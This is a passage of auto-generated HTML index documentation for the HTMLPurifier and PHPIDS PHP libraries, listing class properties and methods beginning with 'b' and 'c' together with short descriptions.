BoolToCSS.php</div> - </dd> - <dt class="field"> - <span class="include-title">Border.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---Border.php.html">Border.php</a> in Border.php</div> - </dd> - <dt class="field"> - <span class="include-title">Bootstrap.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Bootstrap.php.html">Bootstrap.php</a> in Bootstrap.php</div> - </dd> - <dt class="field"> - <span class="include-title">Bdo.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Bdo.php.html">Bdo.php</a> in Bdo.php</div> - </dd> - </dl> - <a name="c"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">c</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$cache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#var$cache">HTMLPurifier_DefinitionCache_Decorator::$cache</a> in Decorator.php</div> - <div class="index-item-description">Cache object we are decorating</div> - </dd> - <dt class="field"> - <span class="var-title">$cache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#var$cache">IDS_Filter_Storage::$cache</a> in Storage.php</div> - <div class="index-item-description">Cache container</div> - </dd> - <dt class="field"> - <span class="var-title">$cache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#var$cache">HTMLPurifier_LanguageFactory::$cache</a> in LanguageFactory.php</div> - <div class="index-item-description">Cache of language code information used to load HTMLPurifier_Language objects</div> - </dd> - <dt class="field"> - <span class="var-title">$caches</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCacheFactory.html#var$caches">HTMLPurifier_DefinitionCacheFactory::$caches</a> in DefinitionCacheFactory.php</div> - </dd> - <dt class="field"> - <span class="var-title">$cacheSettings</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#var$cacheSettings">IDS_Filter_Storage::$cacheSettings</a> in Storage.php</div> - <div class="index-item-description">Holds caching settings</div> - </dd> - <dt class="field"> - <span class="var-title">$caseSensitive</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_EnumToCSS.html#var$caseSensitive">HTMLPurifier_AttrTransform_EnumToCSS::$caseSensitive</a> in EnumToCSS.php</div> - <div class="index-item-description">Case sensitivity of the matching</div> - </dd> - <dt class="field"> - <span class="var-title">$case_sensitive</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_FrameTarget.html#var$case_sensitive">HTMLPurifier_AttrDef_HTML_FrameTarget::$case_sensitive</a> in FrameTarget.php</div> - </dd> - <dt class="field"> - <span class="var-title">$case_sensitive</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Enum.html#var$case_sensitive">HTMLPurifier_AttrDef_Enum::$case_sensitive</a> in Enum.php</div> - <div class="index-item-description">Bool indicating whether or not enumeration is case sensitive.</div> - </dd> - <dt class="field"> - <span class="var-title">$centrifuge</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#var$centrifuge">IDS_Report::$centrifuge</a> in Report.php</div> - <div class="index-item-description">Centrifuge data</div> - </dd> - <dt class="field"> - <span class="var-title">$child</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#var$child">HTMLPurifier_ElementDef::$child</a> in ElementDef.php</div> - <div class="index-item-description">HTMLPurifier_ChildDef of this tag.</div> - </dd> - <dt class="field"> - <span class="var-title">$children</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorStruct.html#var$children">HTMLPurifier_ErrorStruct::$children</a> in ErrorStruct.php</div> - <div class="index-item-description">Child ErrorStructs that are from this structure. For example, a TOKEN</div> - </dd> - <dt class="field"> - <span class="var-title">$class</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef.html#var$class">HTMLPurifier_ConfigDef::$class</a> in ConfigDef.php</div> - </dd> - <dt class="field"> - <span class="var-title">$class</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_Namespace.html#var$class">HTMLPurifier_ConfigDef_Namespace::$class</a> in Namespace.php</div> - </dd> - <dt class="field"> - <span class="var-title">$class</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_Directive.html#var$class">HTMLPurifier_ConfigDef_Directive::$class</a> in Directive.php</div> - </dd> - <dt class="field"> - <span class="var-title">$class</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_DirectiveAlias.html#var$class">HTMLPurifier_ConfigDef_DirectiveAlias::$class</a> in DirectiveAlias.php</div> - </dd> - <dt class="field"> - <span class="var-title">$code</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#var$code">HTMLPurifier_Language::$code</a> in Language.php</div> - <div class="index-item-description">ISO 639 language code of language. Prefers shortest possible version</div> - </dd> - <dt class="field"> - <span class="var-title">$col</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token.html#var$col">HTMLPurifier_Token::$col</a> in Token.php</div> - <div class="index-item-description">< Line number node was on in source document. Null if unknown.</div> - </dd> - <dt class="field"> - <span class="var-title">$cols</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm_default.html#var$cols">HTMLPurifier_Printer_ConfigForm_default::$cols</a> in ConfigForm.php</div> - </dd> - <dt class="field"> - <span class="var-title">$compress</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html#var$compress">HTMLPurifier_Printer_ConfigForm::$compress</a> in ConfigForm.php</div> - <div class="index-item-description">Whether or not to compress directive names, clipping them off after a certain amount of letters. False to disable or integer letters before clipping.</div> - </dd> - <dt class="field"> - <span class="var-title">$conf</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#var$conf">HTMLPurifier_Config::$conf</a> in Config.php</div> - <div class="index-item-description">Two-level associative array of configuration directives</div> - </dd> - <dt class="field"> - <span class="var-title">$config</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#var$config">HTMLPurifier_Language::$config</a> in Language.php</div> - <div class="index-item-description">Instances of HTMLPurifier_Config and HTMLPurifier_Context</div> - </dd> - <dt class="field"> - <span class="var-title">$config</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_MakeWellFormed.html#var$config">HTMLPurifier_Strategy_MakeWellFormed::$config</a> in MakeWellFormed.php</div> - <div class="index-item-description">Current instance of HTMLPurifier_Config.</div> - </dd> - <dt class="field"> - <span class="var-title">$config</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#var$config">HTMLPurifier_Printer::$config</a> in Printer.php</div> - <div class="index-item-description">Instance of HTMLPurifier_Config, for easy access</div> - </dd> - <dt class="field"> - <span class="var-title">$config</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Generator.html#var$config">HTMLPurifier_Generator::$config</a> in Generator.php</div> - <div class="index-item-description">Configuration for the generator</div> - </dd> - <dt class="field"> - <span class="var-title">$config</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#var$config">IDS_Init::$config</a> in Init.php</div> - <div class="index-item-description">Holds config settings</div> - </dd> - <dt class="field"> - <span class="var-title">$config</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#var$config">HTMLPurifier::$config</a> in HTMLPurifier.php</div> - <div class="index-item-description">Global configuration object</div> - </dd> - <dt class="field"> - <span class="var-title">$contents</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#var$contents">HTMLPurifier_ConfigSchema_ValidatorAtom::$contents</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="var-title">$contentSets</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$contentSets">HTMLPurifier_HTMLModuleManager::$contentSets</a> in HTMLModuleManager.php</div> - </dd> - <dt class="field"> - <span class="var-title">$content_model</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#var$content_model">HTMLPurifier_ElementDef::$content_model</a> in ElementDef.php</div> - <div class="index-item-description">Abstract string representation of internal ChildDef rules. See HTMLPurifier_ContentSets for how this is parsed and then transformed into an HTMLPurifier_ChildDef.</div> - </dd> - <dt class="field"> - <span class="var-title">$content_model_type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#var$content_model_type">HTMLPurifier_ElementDef::$content_model_type</a> in ElementDef.php</div> - <div class="index-item-description">Value of $child->type, used to determine which ChildDef to use, used in combination with $content_model.</div> - </dd> - <dt class="field"> - <span class="var-title">$content_sets</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$content_sets">HTMLPurifier_HTMLModule::$content_sets</a> in HTMLModule.php</div> - <div class="index-item-description">Associative array of content set names to content set additions.</div> - </dd> - <dt class="field"> - <span class="var-title">$content_sets</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Forms.html#var$content_sets">HTMLPurifier_HTMLModule_Forms::$content_sets</a> in Forms.php</div> - </dd> - <dt class="field"> - <span class="var-title">$content_sets</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_List.html#var$content_sets">HTMLPurifier_HTMLModule_List::$content_sets</a> in List.php</div> - </dd> - <dt class="field"> - <span class="var-title">$content_sets</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Scripting.html#var$content_sets">HTMLPurifier_HTMLModule_Scripting::$content_sets</a> in Scripting.php</div> - </dd> - <dt class="field"> - <span class="var-title">$content_sets</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Text.html#var$content_sets">HTMLPurifier_HTMLModule_Text::$content_sets</a> in Text.php</div> - </dd> - <dt class="field"> - <span class="var-title">$context</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#var$context">HTMLPurifier_ConfigSchema_ValidatorAtom::$context</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="var-title">$context</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#var$context">HTMLPurifier_ConfigSchema_Validator::$context</a> in Validator.php</div> - <div class="index-item-description">Context-stack to provide easy to read error messages.</div> - </dd> - <dt class="field"> - <span class="var-title">$context</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#var$context">HTMLPurifier_ErrorCollector::$context</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - <span class="var-title">$context</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#var$context">HTMLPurifier::$context</a> in HTMLPurifier.php</div> - <div class="index-item-description">Resultant HTMLPurifier_Context of last run purification. Is an array of contexts if the last called method was purifyArray().</div> - </dd> - <dt class="field"> - <span class="var-title">$context</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#var$context">HTMLPurifier_Language::$context</a> in Language.php</div> - </dd> - <dt class="field"> - <span class="var-title">$context</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_MakeWellFormed.html#var$context">HTMLPurifier_Strategy_MakeWellFormed::$context</a> in MakeWellFormed.php</div> - <div class="index-item-description">Current instance of HTMLPurifier_Context.</div> - </dd> - <dt class="field"> - <span class="var-title">$css</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_ImgSpace.html#var$css">HTMLPurifier_AttrTransform_ImgSpace::$css</a> in ImgSpace.php</div> - </dd> - <dt class="field"> - <span class="var-title">$css</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_BoolToCSS.html#var$css">HTMLPurifier_AttrTransform_BoolToCSS::$css</a> in BoolToCSS.php</div> - <div class="index-item-description">CSS declarations to add to style, needs trailing semicolon</div> - </dd> - <dt class="field"> - <span class="var-title">$cssName</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Length.html#var$cssName">HTMLPurifier_AttrTransform_Length::$cssName</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="var-title">$currentNesting</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#var$currentNesting">HTMLPurifier_Injector::$currentNesting</a> in Injector.php</div> - <div class="index-item-description">Reference to CurrentNesting variable in Context. This is an array</div> - </dd> - <dt class="field"> - <span class="method-title">callbackArmorCommentEntities</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DOMLex.html#methodcallbackArmorCommentEntities">HTMLPurifier_Lexer_DOMLex::callbackArmorCommentEntities()</a> in DOMLex.php</div> - <div class="index-item-description">Callback function that entity-izes ampersands in comments so that</div> - </dd> - <dt class="field"> - <span class="method-title">callbackUndoCommentSubst</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DOMLex.html#methodcallbackUndoCommentSubst">HTMLPurifier_Lexer_DOMLex::callbackUndoCommentSubst()</a> in DOMLex.php</div> - <div class="index-item-description">Callback function for undoing escaping of stray angled brackets</div> - </dd> - <dt class="field"> - CDATA - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#constCDATA">HTML5::CDATA</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">CDATACallback</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#methodCDATACallback">HTMLPurifier_Lexer::CDATACallback()</a> in Lexer.php</div> - <div class="index-item-description">Callback function for escapeCDATA() that does the work.</div> - </dd> - <dt class="field"> - CHARACTR - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#constCHARACTR">HTML5::CHARACTR</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">checkDefType</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#methodcheckDefType">HTMLPurifier_DefinitionCache::checkDefType()</a> in DefinitionCache.php</div> - <div class="index-item-description">Checks if a definition's type jives with the cache's type</div> - </dd> - <dt class="field"> - <span class="method-title">checkNeeded</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodcheckNeeded">HTMLPurifier_Injector::checkNeeded()</a> in Injector.php</div> - <div class="index-item-description">This function checks if the HTML environment will work with the Injector: if p tags are not allowed, the Auto-Paragraphing injector should not be enabled.</div> - </dd> - <dt class="field"> - CHILDREN - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#constCHILDREN">HTMLPurifier_ErrorCollector::CHILDREN</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - <span class="method-title">cleanCSS</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter_ExtractStyleBlocks.html#methodcleanCSS">HTMLPurifier_Filter_ExtractStyleBlocks::cleanCSS()</a> in ExtractStyleBlocks.php</div> - <div class="index-item-description">Takes CSS (the stuff found in <style>) and cleans it.</div> - </dd> - <dt class="field"> - <span class="method-title">cleanup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#methodcleanup">HTMLPurifier_DefinitionCache_Decorator::cleanup()</a> in Decorator.php</div> - </dd> - <dt class="field"> - <span class="method-title">cleanup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#methodcleanup">HTMLPurifier_DefinitionCache::cleanup()</a> in DefinitionCache.php</div> - <div class="index-item-description">Clears all expired (older version or revision) objects from cache</div> - </dd> - <dt class="field"> - <span class="method-title">cleanup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Null.html#methodcleanup">HTMLPurifier_DefinitionCache_Null::cleanup()</a> in Null.php</div> - </dd> - <dt class="field"> - <span class="method-title">cleanup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html#methodcleanup">HTMLPurifier_DefinitionCache_Serializer::cleanup()</a> in Serializer.php</div> - </dd> - <dt class="field"> - <span class="method-title">cleanUTF8</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Encoder.html#methodcleanUTF8">HTMLPurifier_Encoder::cleanUTF8()</a> in Encoder.php</div> - <div class="index-item-description">Cleans a UTF-8 string for well-formedness and SGML validity</div> - </dd> - <dt class="field"> - <span class="method-title">clear</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodclear">IDS_Report::clear()</a> in Report.php</div> - <div class="index-item-description">Clears calculated/collected values</div> - </dd> - <dt class="field"> - <span class="method-title">closeHandler</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_PEARSax3.html#methodcloseHandler">HTMLPurifier_Lexer_PEARSax3::closeHandler()</a> in PEARSax3.php</div> - <div class="index-item-description">Close tag event handler, interface is defined by PEAR package.</div> - </dd> - <dt class="field"> - COMMENT - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#constCOMMENT">HTML5::COMMENT</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">compareTo</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#methodcompareTo">HTMLPurifier_Length::compareTo()</a> in Length.php</div> - <div class="index-item-description">Compares two lengths, and returns 1 if greater, -1 if less and 0 if equal.</div> - </dd> - <dt class="field"> - <span class="method-title">confiscateAttr</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform.html#methodconfiscateAttr">HTMLPurifier_AttrTransform::confiscateAttr()</a> in AttrTransform.php</div> - <div class="index-item-description">Retrieves and removes an attribute</div> - </dd> - <dt class="field"> - <span class="method-title">convert</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_UnitConverter.html#methodconvert">HTMLPurifier_UnitConverter::convert()</a> in UnitConverter.php</div> - <div class="index-item-description">Converts a length object of one unit into another unit.</div> - </dd> - <dt class="field"> - <span class="method-title">convertConcatenations</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertConcatenations">IDS_Converter::convertConcatenations()</a> in Converter.php</div> - <div class="index-item-description">Converts basic concatenations</div> - </dd> - <dt class="field"> - <span class="method-title">convertEntities</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertEntities">IDS_Converter::convertEntities()</a> in Converter.php</div> - <div class="index-item-description">Converts from hex/dec entities</div> - </dd> - <dt class="field"> - <span class="include-title">Converter.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Converter.php.html">Converter.php</a> in Converter.php</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromCommented</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromCommented">IDS_Converter::convertFromCommented()</a> in Converter.php</div> - <div class="index-item-description">Check for comments and erases them if available</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromControlChars</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromControlChars">IDS_Converter::convertFromControlChars()</a> in Converter.php</div> - <div class="index-item-description">Detects nullbytes and controls chars via ord()</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromJSCharcode</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromJSCharcode">IDS_Converter::convertFromJSCharcode()</a> in Converter.php</div> - <div class="index-item-description">Checks for common charcode pattern and decodes them</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromJSUnicode</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromJSUnicode">IDS_Converter::convertFromJSUnicode()</a> in Converter.php</div> - <div class="index-item-description">This method converts JS unicode code points to regular characters</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromNestedBase64</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromNestedBase64">IDS_Converter::convertFromNestedBase64()</a> in Converter.php</div> - <div class="index-item-description">This method matches and translates base64 strings and fragments used in data URIs</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromNewLines</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromNewLines">IDS_Converter::convertFromNewLines()</a> in Converter.php</div> - <div class="index-item-description">Strip newlines</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromOutOfRangeChars</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromOutOfRangeChars">IDS_Converter::convertFromOutOfRangeChars()</a> in Converter.php</div> - <div class="index-item-description">Detects nullbytes and controls chars via ord()</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromProprietaryEncodings</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromProprietaryEncodings">IDS_Converter::convertFromProprietaryEncodings()</a> in Converter.php</div> - <div class="index-item-description">This method collects and decodes proprietary encoding types</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromSQLHex</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromSQLHex">IDS_Converter::convertFromSQLHex()</a> in Converter.php</div> - <div class="index-item-description">Converts SQLHEX to plain text</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromSQLKeywords</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromSQLKeywords">IDS_Converter::convertFromSQLKeywords()</a> in Converter.php</div> - <div class="index-item-description">Converts basic SQL keywords and obfuscations</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromUTF7</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromUTF7">IDS_Converter::convertFromUTF7()</a> in Converter.php</div> - <div class="index-item-description">Converts relevant UTF-7 tags to UTF-8</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromUTF8</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Encoder.html#methodconvertFromUTF8">HTMLPurifier_Encoder::convertFromUTF8()</a> in Encoder.php</div> - <div class="index-item-description">Converts a string from UTF-8 based on configuration.</div> - </dd> - <dt class="field"> - <span class="method-title">convertFromXML</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertFromXML">IDS_Converter::convertFromXML()</a> in Converter.php</div> - <div class="index-item-description">Strip XML patterns</div> - </dd> - <dt class="field"> - <span class="method-title">convertJSRegexModifiers</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertJSRegexModifiers">IDS_Converter::convertJSRegexModifiers()</a> in Converter.php</div> - <div class="index-item-description">Eliminate JS regex modifiers</div> - </dd> - <dt class="field"> - <span class="method-title">convertQuotes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodconvertQuotes">IDS_Converter::convertQuotes()</a> in Converter.php</div> - <div class="index-item-description">Normalize quotes</div> - </dd> - <dt class="field"> - <span class="method-title">convertToASCIIDumbLossless</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Encoder.html#methodconvertToASCIIDumbLossless">HTMLPurifier_Encoder::convertToASCIIDumbLossless()</a> in Encoder.php</div> - <div class="index-item-description">Lossless (character-wise) conversion of HTML to ASCII</div> - </dd> - <dt class="field"> - <span class="method-title">convertToLookup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ContentSets.html#methodconvertToLookup">HTMLPurifier_ContentSets::convertToLookup()</a> in ContentSets.php</div> - <div class="index-item-description">Converts a string list of elements separated by pipes into a lookup array.</div> - </dd> - <dt class="field"> - <span class="method-title">convertToUTF8</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Encoder.html#methodconvertToUTF8">HTMLPurifier_Encoder::convertToUTF8()</a> in Encoder.php</div> - <div class="index-item-description">Converts a string to UTF-8 based on configuration.</div> - </dd> - <dt class="field"> - <span class="method-title">copy</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Cleanup.html#methodcopy">HTMLPurifier_DefinitionCache_Decorator_Cleanup::copy()</a> in Cleanup.php</div> - </dd> - <dt class="field"> - <span class="method-title">copy</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Memory.html#methodcopy">HTMLPurifier_DefinitionCache_Decorator_Memory::copy()</a> in Memory.php</div> - </dd> - <dt class="field"> - <span class="method-title">copy</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#methodcopy">HTMLPurifier_DefinitionCache_Decorator::copy()</a> in Decorator.php</div> - <div class="index-item-description">Cross-compatible clone substitute</div> - </dd> - <dt class="field"> - <span class="method-title">count</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodcount">IDS_Report::count()</a> in Report.php</div> - <div class="index-item-description">Returns total amount of events</div> - </dd> - <dt class="field"> - <span class="method-title">count</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodcount">IDS_Event::count()</a> in Event.php</div> - <div class="index-item-description">Returns number of filters</div> - </dd> - <dt class="field"> - <span class="method-title">create</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#methodcreate">HTMLPurifier_Lexer::create()</a> in Lexer.php</div> - <div class="index-item-description">Retrieves or sets the default Lexer as a Prototype Factory.</div> - </dd> - <dt class="field"> - <span class="method-title">create</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#methodcreate">HTMLPurifier_ElementDef::create()</a> in ElementDef.php</div> - <div class="index-item-description">Low-level factory constructor for creating new standalone element defs</div> - </dd> - <dt class="field"> - <span class="method-title">create</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#methodcreate">HTMLPurifier_LanguageFactory::create()</a> in LanguageFactory.php</div> - <div class="index-item-description">Creates a language object, handles class fallbacks</div> - </dd> - <dt class="field"> - <span class="method-title">create</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCacheFactory.html#methodcreate">HTMLPurifier_DefinitionCacheFactory::create()</a> in DefinitionCacheFactory.php</div> - <div class="index-item-description">Factory method that creates a cache object based on configuration</div> - </dd> - <dt class="field"> - <span class="method-title">create</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodcreate">HTMLPurifier_Config::create()</a> in Config.php</div> - <div class="index-item-description">Convenience constructor that creates a config object based on a mixed var</div> - </dd> - <dt class="field"> - <span class="method-title">createComment</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TokenFactory.html#methodcreateComment">HTMLPurifier_TokenFactory::createComment()</a> in TokenFactory.php</div> - <div class="index-item-description">Creates a HTMLPurifier_Token_Comment.</div> - </dd> - <dt class="field"> - <span class="method-title">createDefault</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodcreateDefault">HTMLPurifier_Config::createDefault()</a> in Config.php</div> - <div class="index-item-description">Convenience constructor that creates a default configuration object.</div> - </dd> - <dt class="field"> - <span class="method-title">createEmpty</span> - </dt> - 